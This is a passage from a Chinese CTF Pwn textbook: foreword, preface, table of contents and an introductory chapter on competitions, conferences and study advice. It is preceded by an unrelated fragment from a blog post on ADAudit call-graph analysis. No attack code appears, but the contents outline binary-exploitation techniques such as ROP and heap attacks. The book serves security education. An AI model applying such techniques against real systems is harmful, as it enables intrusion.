com.adventnet.sym.adsm.auditing.server.EventDataAdapter.EventQueue 队列,然后分派一个 线程 com.adventnet.sym.adsm.auditing.server.EventDataAdapter.EventDispatcher#run 做循 环处理。 那么在call graph中,两部分调用边被截断了。所以这里应该从run开始做调用边查询 文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。
pdf
推荐序 ┃ IV 点击京东购买 点击当当购买 推荐序 近年来,在党和国家的高度重视下,网络安全行业发展迅猛,吸引了大批年轻学子和有志青年 投身其中。2015 年,“网络空间安全”正式成为“工学”门类下的一级学科,与此同时,不论是在 高校、还是企事业单位中,CTF 等类型的信息安全竞赛也开始蓬勃发展,通过竞赛涌现出了一大批 高手、能手。但是竞赛中各个模块间的发展程度却参差不齐。相对而言,Web、Misc 等模块发展较 快,参与的选手也较多;二进制安全相关模块,如 Reverse(逆向)、Mobile(此处指移动安全)等 模块的选手相对就少些,而其中的 Pwn 模块,则参赛选手最少。究其原因,主要是因为相对其他模 块,二进制安全相关模块的学习曲线更陡峭,要求选手对系统的理解更为深入。 市面上安全相关的书籍、教程汗牛充栋,与漏洞主题相关的却屈指可数。在这些书籍中,由于 作者本身都是从事漏洞发掘工作的,所以相关案例多以 Windows 平台下的各种软件漏洞为主,其他 平台为辅。但 Windows 平台本身内部实现机制就比较复杂,相关文档不多,且有的软件自身还会有 自己私有的内存管理方法(比如微软的 Office 软件),在开始学习相关技能之前,所需要掌握的相 关前置背景知识就够人喝一壶了。 本书另辟蹊径,利用历届的 CTF 真题,以 x86/x64 平台下 Linux 系统中的 Pwn 样题为例,讲述 漏洞利用的基本方法和技巧。由于 Linux 系统本身就是一个开源系统,相关文档也比较齐全,因此, 在这个平台上容易把问题讲透。把基本功练扎实了,再去学习其他平台上的漏洞利用技术,必将起 到事半而功倍的效果。此外,当前被广泛使用的 Android 等操作系统本身就是 Linux 系统的变种,相 关技术也很容易移植到这些系统的漏洞发掘利用中去。 本书的作者是业内后起之秀。书中所用的例子贴近 CTF 实战,讲解详尽,思路清晰,非常有助 于读者理解和学习。 本书的审校者——吴石老师率领的腾讯 eee 战队——曾多次斩获国内外高等级竞赛的大奖,相关 经验非常丰富。 本书为广大学子和从业人员学习漏洞利用技术知识提供了有益的指导。相信有志学习者,经过 推荐序 ┃ V 认真钻研,必能早日登堂入室,为我国网络安全事业的发展添砖加瓦。 崔孝晨 《Python 绝技:运用 Python 成为顶级黑客》、《最强 Android 书:架构大剖析》译者 序 ┃ VI 序 时间回到 2017 年 7 月。 随着信息安全的发展,CTF 竞赛开始引人关注。这种有趣的竞赛模式非常有助于技术切磋和快 速学习。在西电信安协会(XDSEC)学长的带领下,当时的我已经接触 CTF 赛题有较长时间了。由 于当时网上还没有比较完善和系统的资料,本着开源精神、自利利他的目的,我在 GitHub 上创建了 一个称为“CTF-All-In-One”的项目,并给了自己第 1 个 star。 此后,这个项目日渐完善,吸引和帮助了不少初学者,到现在已经收获了超过 2100 个 star,在 此向所有为技术分享与进步作出贡献的 CTF 出题人和项目贡献者们致敬! 收到刘皎老师的约稿邀请是在 2018 年 10 月,那时我刚上大四。抱着试试看的心情,我惊喜、 惶恐地接受了这项挑战。接下来就是定目录,交样章,并在 2019 年 1 月签订了《约稿合同》。没想 到的是,写作的道路竟如此艰难:每一章、每一节、每一个例子甚至每一个词都要细斟慢酌,生怕 误人子弟。由于学业和工作上的事情较多,最初参与的两个朋友相继离开了,我本人也多次想放弃。 就在这样反反复复的状态下,一直到 2020 年 7 月才完成初稿。经过几轮艰苦的校稿,终于在 2020 年 10 月签订了《出版合同》,两年时间就这样一晃过去了。 现在再回头看,本书写作的过程基本就是一个“现学现卖”的过程。我一边学习新知识,一边 不断调整内容框架。在学习的路上,我曾遇到太多的分岔、踩过无数坑,正因为如此,我尽量把自 己的经验写进书里,使读者可以快速获得关键技术、避免踩坑和重复劳动。所以,与其称它为一本 书,倒不如说这是一座经过校对、打磨,并最终以书的形式呈现的知识库。当然,在此过程中,我 也发现写作是一种非常有效的训练方式:很明显,通过梳理知识点和想法,我不仅系统掌握了相关 知识,也明确了思路,对从事相关工作大有裨益。 我们将此书命名为《CTF 竞赛权威指南(Pwn 篇)》,是期待有更多人参与进来,拿出 Web 篇、 Reverse 篇、Crypto 篇等更好的作品,让这个系列更配得上“权威”二字。信息安全是一门有趣的学 科,我为自己当初的选择高兴,也希望阅读本书的你,同样为自己的选择而激动。作为一本面向初 序 ┃ VII 学者的书,读者中一定有不少中学生。全国中学生网络安全竞赛每年都在我的母校西安电子科技大 学进行,迄今已是第三届,颇具规模。在此欢迎各位小读者报考母校的网络与信息安全学院,这里 真的是一个很棒的地方! 本书的出版,要感谢我的大学室友刘晋,他早期的帮助让这个项目得以成形;感谢腾讯的吴石 老师,他的推荐让本项目顺利成书、惠及更多的人;感谢吴石老师和腾讯 eee 战队的谢天忆、朱梦 凡、马会心和刘耕铭四位老师的建议与审校,让本书的内容更上一层楼;感谢学弟槐和 koocola,贡 献了本书第 11 章的初稿;感谢湖北警官学院的谈楚瑜和 MXYLR,以及其他来自 GitHub 的朋友的 鼓励和支持;感谢电子工业出版社的刘皎老师,她认真细致的工作使本书得以高质量地呈现给读者; 感谢我的父母给了我选择和发展的自由,让我在人生道路上没有后顾之忧;感谢那位不愿透露姓名 的朋友,遇见你曾是青春最美好的事!感谢你们! 杨超 2020 年 11 月于北京 目录 ┃ VIII 目录 第 1 章 CTF 简介........................................................................................................................................1 1.1 赛事介绍........................................................................................................................................1 1.1.1 赛事起源............................................................................................................................1 1.1.2 竞赛模式............................................................................................................................1 1.1.3 竞赛内容............................................................................................................................2 1.2 知名赛事及会议............................................................................................................................3 1.2.1 网络安全竞赛....................................................................................................................3 1.2.2 网络安全会议....................................................................................................................5 1.2.3 网络安全学术会议............................................................................................................6 1.3 学习经验........................................................................................................................................6 1.3.1 二进制安全入门................................................................................................................6 1.3.2 CTF 经验............................................................................................................................8 1.3.3 对安全从业者的建议........................................................................................................8 参考资料...............................................................................................................................................10 第 2 章 二进制文件...................................................................................................................................11 2.1 从源代码到可执行文件.............................................................................................................. 11 2.1.1 编译原理..........................................................................................................................11 2.1.2 GCC 编译过程.................................................................................................................12 2.1.3 预处理阶段......................................................................................................................13 2.1.4 编译阶段..........................................................................................................................14 2.1.5 汇编阶段..........................................................................................................................15 2.1.6 链接阶段..........................................................................................................................15 2.2 ELF 文件格式..............................................................................................................................16 2.2.1 ELF 文件的类型..............................................................................................................16 目录 ┃ IX 2.2.2 ELF 文件的结构..............................................................................................................18 2.2.3 可执行文件的装载..........................................................................................................24 2.3 静态链接......................................................................................................................................26 2.3.1 地址空间分配..................................................................................................................26 2.3.2 静态链接的详细过程...................................................................................................... 27 2.3.3 静态链接库......................................................................................................................29 2.4 动态链接......................................................................................................................................30 2.4.1 什么是动态链接..............................................................................................................30 2.4.2 位置无关代码..................................................................................................................31 2.4.3 延迟绑定..........................................................................................................................32 参考资料...............................................................................................................................................33 第 3 章 汇编基础...................................................................................................................................... 34 3.1 CPU 架构与指令集..................................................................................................................... 34 3.1.1 指令集架构......................................................................................................................34 3.1.2 CISC 与 RISC 对比......................................................................................................... 35 3.2 x86/x64 汇编基础........................................................................................................................36 3.2.1 CPU 操作模式................................................................................................................. 36 3.2.2 语法风格..........................................................................................................................36 3.2.3 寄存器与数据类型..........................................................................................................37 3.2.4 数据传送与访问..............................................................................................................38 3.2.5 算术运算与逻辑运算...................................................................................................... 39 3.2.6 跳转指令与循环指令...................................................................................................... 40 3.2.7 栈与函数调用..................................................................................................................41 参考资料...............................................................................................................................................44 第 4 章 Linux 安全机制............................................................................................................................45 4.1 Linux 基础................................................................................................................................... 45 4.1.1 常用命令..........................................................................................................................45 4.1.2 流、管道和重定向..........................................................................................................46 4.1.3 根目录结构......................................................................................................................47 4.1.4 用户组及文件权限..........................................................................................................47 4.1.5 环境变量..........................................................................................................................49 4.1.6 procfs 文件系统...............................................................................................................51 4.1.7 字节序..............................................................................................................................52 4.1.8 调用约定..........................................................................................................................53 4.1.9 核心转储..........................................................................................................................54 4.1.10 系统调用........................................................................................................................55 4.2 Stack Canaries.............................................................................................................................. 58 目录 ┃ X 4.2.1 简介..................................................................................................................................58 4.2.2 实现..................................................................................................................................61 4.2.3 NJCTF 2017:messager.................................................................................................. 63 4.2.4 sixstars CTF 2018:babystack.........................................................................................65 4.3 No-eXecute...................................................................................................................................69 4.3.1 简介..................................................................................................................................69 4.3.2 实现..................................................................................................................................70 4.3.3 示例..................................................................................................................................73 4.4 ASLR 和 PIE................................................................................................................................75 4.4.1 ASLR................................................................................................................................75 4.4.2 PIE....................................................................................................................................76 4.4.3 实现..................................................................................................................................77 4.4.4 示例..................................................................................................................................79 4.5 FORTIFY_SOURCE....................................................................................................................83 4.5.1 简介..................................................................................................................................83 4.5.2 实现..................................................................................................................................84 4.5.3 示例..................................................................................................................................86 4.5.4 安全性..............................................................................................................................89 4.6 RELRO.........................................................................................................................................90 4.6.1 简介..................................................................................................................................90 4.6.2 示例..................................................................................................................................90 4.6.3 实现..................................................................................................................................93 参考资料...............................................................................................................................................94 第 5 章 分析环境搭建.............................................................................................................................. 96 5.1 虚拟机环境..................................................................................................................................96 5.1.1 虚拟化与虚拟机管理程序.............................................................................................. 96 5.1.2 安装虚拟机......................................................................................................................97 5.1.3 编译 debug 版本的 glibc................................................................................................. 98 5.2 Docker 环境............................................................................................................................... 100 5.2.1 容器与 Docker............................................................................................................... 100 5.2.2 Docker 安装及使用....................................................................................................... 101 5.2.3 Pwn 题目部署................................................................................................................102 参考资料.............................................................................................................................................103 第 6 章 分析工具.................................................................................................................................... 104 6.1 IDA Pro.......................................................................................................................................104 6.1.1 简介................................................................................................................................104 6.1.2 基本操作........................................................................................................................105 目录 ┃ XI 6.1.3 远程调试........................................................................................................................108 6.1.4 IDAPython......................................................................................................................110 6.1.5 常用插件........................................................................................................................ 114 6.2 Radare2.......................................................................................................................................115 6.2.1 简介及安装.................................................................................................................... 115 6.2.2 框架组成及交互方式.................................................................................................... 115 6.2.3 命令行工具.................................................................................................................... 118 6.2.4 r2 命令............................................................................................................................122 6.3 GDB........................................................................................................................................... 125 6.3.1 组成架构........................................................................................................................125 6.3.2 工作原理........................................................................................................................125 6.3.3 基本操作........................................................................................................................127 6.3.4 增强工具........................................................................................................................130 6.4 其他常用工具............................................................................................................................132 6.4.1 dd....................................................................................................................................133 6.4.2 file.................................................................................................................................. 133 6.4.3 ldd...................................................................................................................................134 6.4.4 objdump..........................................................................................................................134 6.4.5 readelf.............................................................................................................................135 6.4.6 socat................................................................................................................................136 6.4.7 strace&ltrace...................................................................................................................136 6.4.8 strip.................................................................................................................................137 6.4.9 strings............................................................................................................................. 138 6.4.10 xxd................................................................................................................................138 参考资料.............................................................................................................................................139 第 7 章 漏洞利用开发............................................................................................................................ 141 7.1 shellcode 开发............................................................................................................................141 7.1.1 shellcode 的基本原理....................................................................................................141 7.1.2 编写简单的 shellcode....................................................................................................141 7.1.3 shellcode 变形................................................................................................................143 7.2 Pwntools.....................................................................................................................................145 7.2.1 简介及安装....................................................................................................................145 7.2.2 常用模块和函数............................................................................................................145 7.3 zio...............................................................................................................................................152 7.3.1 简介及安装....................................................................................................................152 7.3.2 使用方法........................................................................................................................153 参考资料.............................................................................................................................................155 第 8 章 整数安全.................................................................................................................................... 156 目录 ┃ XII 8.1 计算机中的整数........................................................................................................................ 156 8.2 整数安全漏洞............................................................................................................................157 8.2.1 整数溢出........................................................................................................................157 8.2.2 漏洞多发函数................................................................................................................158 8.2.3 整数溢出示例................................................................................................................159 参考资料.............................................................................................................................................161 第 9 章 格式化字符串............................................................................................................................ 162 9.1 格式化输出函数........................................................................................................................ 162 9.1.1 变参函数........................................................................................................................162 9.1.2 格式转换........................................................................................................................162 9.2 格式化字符串漏洞.................................................................................................................... 164 9.2.1 基本原理........................................................................................................................164 9.2.2 漏洞利用........................................................................................................................166 9.2.3 fmtstr 模块..................................................................................................................... 174 9.2.4 HITCON CMT 2017:pwn200......................................................................................176 9.2.5 NJCTF 2017:pingme................................................................................................... 178 参考资料.............................................................................................................................................182 第 10 章 栈溢出与 ROP........................................................................................................................ 183 10.1 栈溢出原理..............................................................................................................................183 10.1.1 函数调用栈..................................................................................................................183 10.1.2 危险函数......................................................................................................................186 10.1.3 ret2libc..........................................................................................................................186 10.2 返回导向编程..........................................................................................................................187 10.2.1 ROP 简介..................................................................................................................... 187 10.2.2 ROP 的变种................................................................................................................. 189 10.2.3 示例..............................................................................................................................191 10.3 Blind ROP................................................................................................................................ 192 10.3.1 BROP 原理...................................................................................................................192 10.3.2 HCTF 2016:brop........................................................................................................193 10.4 SROP........................................................................................................................................200 10.4.1 SROP 原理...................................................................................................................200 10.4.2 pwntools srop 模块.......................................................................................................204 10.4.3 Backdoor CTF 2017:Fun Signals.............................................................................. 204 10.5 stack pivoting............................................................................................................................206 10.5.1 stack pivoting 原理.......................................................................................................206 10.5.2 GreHack CTF 2017:beerfighter.................................................................................209 10.6 ret2dl-resolve............................................................................................................................213 目录 ┃ XIII 10.6.1 ret2dl-resolve 原理.......................................................................................................213 10.6.2 XDCTF 2015:pwn200............................................................................................... 217 参考资料.............................................................................................................................................222 第 11 章 堆利用...................................................................................................................................... 224 11.1 glibc 堆概述............................................................................................................................. 224 11.1.1 内存管理与堆.............................................................................................................. 224 11.1.2 重要概念和结构体...................................................................................................... 226 11.1.3 各类 bin 介绍...............................................................................................................229 11.1.4 chunk 相关源码........................................................................................................... 231 11.1.5 bin 相关源码................................................................................................................235 11.1.6 malloc_consolidate()函数.............................................................................................237 11.1.7 malloc()相关源码.........................................................................................................239 11.1.8 free()相关源码............................................................................................................. 248 11.2 TCache 机制.............................................................................................................................251 11.2.1 数据结构......................................................................................................................251 11.2.2 使用方法......................................................................................................................252 11.2.3 安全性分析.................................................................................................................. 255 11.2.4 HITB CTF 2018:gundam...........................................................................................257 11.2.5 BCTF 2018:House of Atum.......................................................................................263 11.3 fastbin 二次释放...................................................................................................................... 268 11.3.1 fastbin dup.................................................................................................................... 268 11.3.2 fastbin dup consolidate................................................................................................. 273 11.3.3 0CTF 2017:babyheap.................................................................................................275 11.4 house of spirit........................................................................................................................... 283 11.4.1 示例程序......................................................................................................................284 11.4.2 LCTF 2016:pwn200...................................................................................................287 11.5 不安全的 unlink.......................................................................................................................291 11.5.1 unsafe unlink................................................................................................................ 292 11.5.2 HITCON CTF 2016:Secret Holder............................................................................295 11.5.3 HITCON CTF 2016:Sleepy Holder...........................................................................303 11.6 off-by-one................................................................................................................................. 307 11.6.1 off-by-one.....................................................................................................................307 11.6.2 poison null byte............................................................................................................ 310 11.6.3 ASIS CTF 2016:b00ks...............................................................................................313 11.6.4 Plaid CTF 2015:PlaidDB...........................................................................................320 11.7 house of einherjar..................................................................................................................... 325 11.7.1 示例程序......................................................................................................................325 11.7.2 SECCON CTF 2016:tinypad..................................................................................... 328 目录 ┃ XIV 11.8 overlapping chunks...................................................................................................................336 11.8.1 扩展被释放块.............................................................................................................. 336 11.8.2 扩展已分配块.............................................................................................................. 339 11.8.3 hack.lu CTF 2015:bookstore......................................................................................342 11.8.4 0CTF 2018:babyheap.................................................................................................349 11.9 house of force........................................................................................................................... 353 11.9.1 示例程序......................................................................................................................353 11.9.2 BCTF 2016:bcloud.................................................................................................... 356 11.10 unsorted bin 与 large bin 攻击................................................................................................363 11.10.1 unsorted bin into stack................................................................................................363 11.10.2 unsorted bin attack......................................................................................................367 11.10.3 large bin 攻击............................................................................................................. 370 11.10.4 0CTF 2018:heapstorm2........................................................................................... 374 参考资料.............................................................................................................................................381 第 12 章 Pwn 技巧................................................................................................................................. 383 12.1 one-gadget................................................................................................................................ 383 12.1.1 寻找 one-gadget........................................................................................................... 383 12.1.2 ASIS CTF Quals 2017:Start hard...............................................................................385 12.2 通用 gadget 及 Return-to-csu...................................................................................................388 12.2.1 Linux 程序的启动过程................................................................................................388 12.2.2 Return-to-csu................................................................................................................390 12.2.3 LCTF 2016:pwn100.................................................................................................. 392 12.3 劫持 hook 函数........................................................................................................................ 395 12.3.1 内存分配 hook.............................................................................................................396 12.3.2 0CTF 2017 - babyheap................................................................................................. 397 12.4 利用 DynELF 泄露函数地址.................................................................................................. 401 12.4.1 DynELF 模块...............................................................................................................401 12.4.2 DynELF 原理...............................................................................................................402 12.4.3 XDCTF 2015:pwn200............................................................................................... 403 12.4.4 其他泄露函数..............................................................................................................406 12.5 SSP Leak.................................................................................................................................. 409 12.5.1 SSP............................................................................................................................... 409 12.5.2 __stack_chk_fail()........................................................................................................ 411 12.5.3 32C3 CTF 2015:readme............................................................................................ 412 12.5.4 34C3 CTF 2017:readme_revenge..............................................................................416 12.6 利用 environ 泄露栈地址........................................................................................................422 12.7 利用_IO_FILE 结构.................................................................................................................429 12.7.1 FILE 结构体.................................................................................................................429 目录 ┃ XV 12.7.2 FSOP............................................................................................................................ 431 12.7.3 FSOP(libc-2.24 版本)............................................................................................. 433 12.7.4 HITCON CTF 2016:House of Orange.......................................................................438 12.7.5 HCTF 2017:babyprintf.............................................................................................. 445 12.8 利用 vsyscall............................................................................................................................ 449 12.8.1 vsyscall 和 vDSO......................................................................................................... 449 12.8.2 HITB CTF 2017:1000levels...................................................................................... 451 参考资料.............................................................................................................................................456 第 1 章 CTF 简介 ┃ XVI 第 1 章 CTF 简介 1.1 赛事介绍 1.1.1 赛事起源 CTF(Capture The Flag)中文一般译作夺旗赛,原为西方传统运动,即两队人马相互前往敌方 的基地夺取旗帜。这恰如“黑客”在竞赛中的一攻一防,因此在网络安全领域中被用于指代网络安 全技术人员之间进行技术竞技的一种比赛形式,其形式与内容体现了浓厚的黑客精神和黑客文化。 CTF 起源于 1996 年 DEFCON 全球黑客大会,以代替之前黑客们通过互相发起真实攻击进行技 术比拼的方式。发展至今,已经成为全球范围网络安全圈流行的竞赛形式,2013 年全球举办了超过 五十场国际性 CTF 赛事。作为 CTF 赛制的发源地,DEFCON CTF 也成为目前全球技术水平和影响 力最高的 CTF 竞赛,类似于 CTF 赛事中的“世界杯”。 CTF 的大致流程是,参赛团队之间通过攻防对抗、程序分析等形式,率先从主办方给出的比赛 环境中得到一串具有一定格式的字符串或其他内容,并将其提交给主办方,从而夺得分数。为了方 便称呼,我们把这串内容称为“flag”。 近年来,随着网络安全越来越受到国家和大众的关注,CTF 比赛的数量与规模也发展迅猛,国 内外各类高质量的 CTF 竞赛层出不穷,CTF 已经成为学习、提升信息安全技术,展现安全能力和水 平的绝佳平台。 1.1.2 竞赛模式  解题模式(Jeopardy) 在解题模式 CTF 赛制中,参赛队伍可以通过互联网或者现场网络参与。这种模式的 CTF 竞赛与 ACM 编程竞赛、信息学奥赛类似,以解决网络安全技术挑战题目的分值和时间来排名,通常用于在 线选拔赛,选手自由组队(人数不受限制)。题目主要包含六个类别:RE 逆向工程、Pwn 漏洞挖掘 与利用、Web 渗透、Crypto 密码学、Mobile 移动安全和 Misc 安全杂项。  攻防模式(Attack-Defense) 在攻防模式 CTF 赛制中,参赛队伍在网络空间互相进行攻击和防守,通过挖掘网络服务漏洞并 第 1 章 CTF 简介 ┃ XVII 攻击对手服务来得分,通过修补自身服务漏洞进行防御来避免丢分。攻防模式通常为线下赛,参赛 队伍人数有限制(通常为 3 到 5 人不等),可以实时通过得分反映出比赛情况,最终也以得分直接 分出胜负。这是一种竞争激烈、具有很强观赏性和高度透明性的网络安全赛制。在这种赛制中,不 仅仅是比参赛队员的智力和技术,也比体力(因为比赛一般都会持续 48 小时及以上),同时也比团 队之间的分工配合与合作。  混合模式(Mix) 结合了解题模式与攻防模式的 CTF 赛制,主办方会根据比赛的时间、进度等因素来释放需解答 的题目,题目的难度越大,解答完成后获取的分数越高。参赛队伍通过解题获取一些初始分数,然 后通过攻防对抗进行得分增减的零和游戏,最终以得分高低分出胜负。采用混合模式 CTF 赛制的典 型代表如 iCTF 国际 CTF 竞赛。 1.1.3 竞赛内容  Reverse 逆向工程类题目需要对软件(Windows、Linux 平台)的结构、流程、算法等进行逆向破解,要 求有较强的反汇编、反编译的功底。主要考查参赛选手的逆向分析能力。所需知识:汇编语言、加 密与解密、常见反编译工具。  Pwn Pwn 在黑客俚语中代表着攻破,获取权限,由“own”这个词引申而来。在 CTF 比赛中它代表 着溢出类的题目,常见的类型有整数溢出、栈溢出、堆溢出等。主要考查参赛选手对漏洞的利用能 力。所需知识:C、OD+IDA、数据结构、操作系统。  Web Web 是 CTF 的主要题型,涉及许多常见的 Web 漏洞,如 XSS、文件包含、代码执行、上传漏 洞、SQL 注入等。也有一些简单的关于网络基础知识的考察,如返回包、TCP/IP、数据包内容和构 造。可以说题目环境比较接近真实环境。所需知识:PHP、Python、TCP/IP、SQL。  Crypto 密码学类题目考察各种加/解密技术,包括古典加密技术、现代加密技术甚至出题者自创加密技 术,以及一些常见的编码解码。主要考查参赛选手密码学相关知识点,通常也会和其他题目相结合。 所需知识:矩阵、数论、密码学。  Mobile Mobile 类题目主要涉及 Android 和 iOS 两个主流移动平台,以 Android 逆向为主,破解 APK 并 提交正确 flag。所需知识:Java、Android 开发、常见工具。  Misc 第 1 章 CTF 简介 ┃ XVIII Misc 即安全杂项,题目涉及隐写术、流量分析、电子取证、人肉搜索、数据分析、大数据统计 等,覆盖面比较广。主要考查参赛选手的各种基础综合知识。所需知识:常见隐写术工具、Wireshark 等流量审查工具、编码知识。 1.2 知名赛事及会议 1.2.1 网络安全竞赛 参与高质量的 CTF 竞赛不仅能获得乐趣,更能获得技术上的提升。我们可以在网站 CTFtime 上 获取 CTF 赛事的信息以及各大 CTF 战队的排名,如图 1-1 所示。一般来说,一些黑客传统赛事,或 者知名企业和战队所举办的 CTF 质量都比较高。 图 1- 1 CTFtime 网站 下面我们列举几个知名度较高的网络安全赛事。 DEFCON CTF  全球最知名、影响力最广,且历史悠久的赛事,是 CTF 中的世界杯。其主要特点是题目复 杂度高,偏重于真实环境中的漏洞挖掘和利用。DEFCON CTF 分为线上预选赛(Qualifier) 和线下决赛(Final),预选赛通常于每年 5 月开始,排名靠前的战队有机会入围线下决赛; 线下决赛通常于每年 8 月在美国的拉斯维加斯举行。当然,每年还有持外卡参赛的战队,他 第 1 章 CTF 简介 ┃ XIX 们往往是其他一些重量级 CTF 的冠军,如 HITCON CTF、SECCON CTF 等。最终会有 15~ 20 支战队参加决赛。  线上赛等题目以二进制程序分析和漏洞利用为主,还有少量的 Web 安全和杂项等题目。而 线下赛采用攻防模式,仍以二进制漏洞利用为主,且难度更高,战况也更加激烈。  2013 年清华大学蓝莲花战队(Blue-Lotus)成为国内首支入围 DEFCON CTF 决赛的战队。 2020 年腾讯 A*0*E 联合战队斩获冠军,刷新中国战队最佳纪录。 Pwn2Own  全球奖金最丰厚的著名赛事,由美国五角大楼网络安全服务商、惠普旗下 TippingPoint 的 项目组 ZDI(Zero Day Initiative)主办,谷歌、微软、苹果、Adobe 等厂商均对比赛提供支持, 以便通过黑客攻击挑战来完善自身产品。大赛自 2007 年举办至今,每年 3 月和 11 月分别在 加拿大温哥华以及日本东京各举办一次。  与 CTF 竞赛略有不同,Pwn2Own 的目标是四大浏览器 IE、Chrome、Safari 和 Firefox 的最 新版;Mobile Pwn2Own 的目标则是 iOS、Android 等主流手机的操作系统。能在 Pwn2Own 上获奖,象征着其安全研究已经达到世界领先水平。  2016 年,腾讯安全 Sniper 战队凭借总积分 38 分成为 Pwn2Own 历史上第一个世界总冠军, 并且获得该赛事史上首个 Master of Pwn(世界破解大师)称号。 CGC(Cyber Grand Challenge)  由美国国防部高级研究计划局(Defense Advanced Research Projects Agency,DARPA)于 2013 年发起,旨在推进自动化网络攻防技术的发展,即实时识别系统缺陷、漏洞,自动完成 打补丁和系统防御,并自动生成攻击程序,最终实现全自动的网络安全攻防系统。  CGC 的比赛过程限制人工干预,完全由计算机实现,可以理解为人工智能之间的 CTF。 其亮点在于系统的全自动化,主要难度在于如何在无限的状态下尽快找到触发漏洞的输入, 以及对发现的漏洞进行自动修复和生成攻击。  2016 年由美国卡内基梅隆大学(CMU)研发的自动攻防系统 Mayhem 获得决赛冠军。之 后,该系统还参加了当年的 DEFCON CTF 决赛,与人类战队同台竞技,并且阶段性地压制了 部分选手。 XCTF 联赛  由清华大学蓝莲花战队发起组织,网络空间安全人才基金和国家创新与发展战略研究会联 合主办,面向高校及科研院所学生、企业技术人员、网络安全技术爱好者等群体,是一项旨 在发现和培养网络安全技术人才的竞赛活动。该竞赛由选拔赛和总决赛组成。 全国大学生信息安全竞赛  简称“国赛”,由教育部高等学校信息安全专业教学指导委员会主办,目的在于宣传信息 安全知识;培养大学生的创新精神、团队合作意识;扩大大学生的科学视野,提高大学生的 第 1 章 CTF 简介 ┃ XX 创新设计能力、综合设计能力和信息安全意识;促进高等学校信息安全专业课程体系、教学 内容和方法的改革;吸引广大大学生踊跃参加课外科技活动,为培养、选拔、推荐优秀信息 安全专业人才创造条件。竞赛时间一般为每年的 3 月至 8 月。  竞赛分为技能赛和作品赛两种。其中,技能赛采取 CTF 模式,参赛队伍通过在预设的竞赛 环境中解决问题来获取 flag 并取得相应积分。初赛为在线解题模式,决赛为线下实战模式。 作品赛以信息安全技术与应用设计为主要内容,竞赛范围定为系统安全、应用安全(内容安 全)、网络安全、数据安全和安全检测五大类,参赛队自主命题,自主设计。 “强网杯”全国网络安全挑战赛  是由中央网信办网络安全协调局指导、信息工程大学主办的、面向高等院校和国内信息安 全企业的国家级网络安全赛事。  竞赛分为线上赛、线下赛和精英赛三个阶段,比赛内容主要围绕网络安全和系统安全中的 现实问题进行设计。  2018 年第二届“强网杯”共计有 2622 支战队,13250 名队员报名参加,覆盖 30 多个省份, 堪称国内网络安全竞赛之最。 HITCON CTF:由中国台湾骇客协会(HIT)在知名黑客会议 HITCON 同期举办。 0CTF/TCTF:由上海交通大学 0ops 战队和腾讯 eee 战队联合举办。 XDCTF/LCTF:由西安电子科技大学信息安全协会(XDSEC)和 L-team 战队主办。 1.2.2 网络安全会议 下面我们介绍一些知名的网络安全会议。 RSA  信息安全界最有影响力的安全盛会之一, 1991 年由 RSA 公司发起,一般于每年 2 月至 3 月在美国旧金山 Moscone 中心举办。每年有众多的信息安全从业者、安全服务商、研究机构 和投资者参加。他们对未来信息安全的发展趋势做出预测,并共同评选出最具创新的公司及 产品,因此,该会议也被称为世界网络安全行业的风向标。  每年大会都会选定一个独特的主题,设计一个故事并将其贯穿整个会议。2019 年的主题是 “Better”,折射出信息安全领域逐渐转向实践以及不断发展提升、越来越好的愿景。 Black Hat  国际黑帽大会。由知名安全专家 Jeff Moss 于 1997 年创办,最初于每年 7 月至 8 月在拉斯 维加斯举办。经过 20 多年的发展,该会议已经由单次会议转为每年在东京、阿姆斯特丹、拉 斯维加斯、华盛顿等地举办的一系列会议,内容包括了培训、报告和展厅等。 第 1 章 CTF 简介 ┃ XXI DEFCON  同样由 Jeff Moss 于 1993 年在拉斯维加斯发起,从最初的小型聚会逐步发展为世界性的安 全会议。其特色是弘扬黑客文化,以及进行 DEFCON CTF 决赛。 中国互联网安全大会  简称 ISC(China Internet Security Conference),从 2013 年开始,由中国互联网协会、中 国网络空间安全协会和 360 互联网安全中心等共同主办,是亚太地区规格最高、规模最大、 最有影响力的安全会议之一。 1.2.3 网络安全学术会议 网络安全领域的最新学术成果一般会发表在顶级会议上,四大顶会如下。  CCS(A):ACM Conference on Computer and Communications Security  NDSS(B):Network and Distributed System Security Symposium  Oakland S&P(A):IEEE Symposium on Security & Privacy  USENIX(A):USENIX Security Symposium 1.3 学习经验 1.3.1 二进制安全入门 二进制安全是一个比较偏向于底层的方向,因此对学习者的计算机基础要求较高,如 C/C++/Python 编程、汇编语言、计算机组成原理、操作系统、编译原理等,可以在 MOOC 上找到很 多国内外著名高校的课程资料,中文课程推荐网易云课堂的大学计算机专业课程体系,英文课程推 荐如下。  Harvard CS50 Introduction to Computer Science  CMU 18-447 Introduction to Computer Architecture  MIT 6.828 Operating System Engineering  Stanford CS143 Compilers 在具备了计算机基础后,二进制安全又可以细分为逆向工程和漏洞挖掘与利用等方向。学习的 目标是掌握各平台上静态反汇编(IDA、Radare2)和动态调试(GDB、x64dbg)工具,能够熟练阅 读反汇编代码,理解 x86、ARM 和 MIPS 二进制程序,特别要注意程序的结构组成和编译运行的细 节。此阶段,大量动手实践是达到熟练的必经之路。推荐资料如下。  Secure Coding in C and C++, 2nd Edition  The Intel 64 and IA-32 Architectures Software Developer’s Manual  ARM Cortex-A Series Programmer’s Guide 第 1 章 CTF 简介 ┃ XXII  See MIPS Run, 2nd Edition  Reverse Engineering for Beginners  《程序员的自我修养——链接、装载与库》  《加密与解密,第 4 版》 接下来,就可以进入软件漏洞的学习了,从 CTF 切入是一个很好的思路。跟随本书的脚步,可 以学习到常见漏洞(溢出、UAF、double-free 等)的原理、Linux 漏洞缓解机制(Stack canaries、NX、 ASLR 等)以及针对这些机制的漏洞利用方法(Stack Smashing、Shellcoding、ROP 等),此阶段还 可以通过读 write-ups 来学习。在掌握了这些基本知识之后,就可以尝试分析真实环境中的漏洞,或 者分析一些恶意样本,推荐资料如下。  RPI CSCI-4968 Modern Binary Exploitation  Hacking: The Art of Exploitation, 2nd Edition  The Shellcoder’s Handbook, 2nd Edition  Practical Malware Analysis  《漏洞战争:软件漏洞分析精要》 有了实践的基础之后,可以学习一些程序分析理论,比如数据流分析(工具如 Soot)、值集分 析(BAP)、可满足性理论(Z3)、动态二进制插桩(DynamoRio、Pin)、符号执行(KLEE、angr)、 模糊测试(Peach、AFL)等。这些技术对于将程序分析和漏洞挖掘自动化非常重要,是学术界和工 业界都在研究的热点。感兴趣的还可以关注一下专注于自动化网络攻防的 CGC 竞赛。推荐资料如下。  UT Dallas 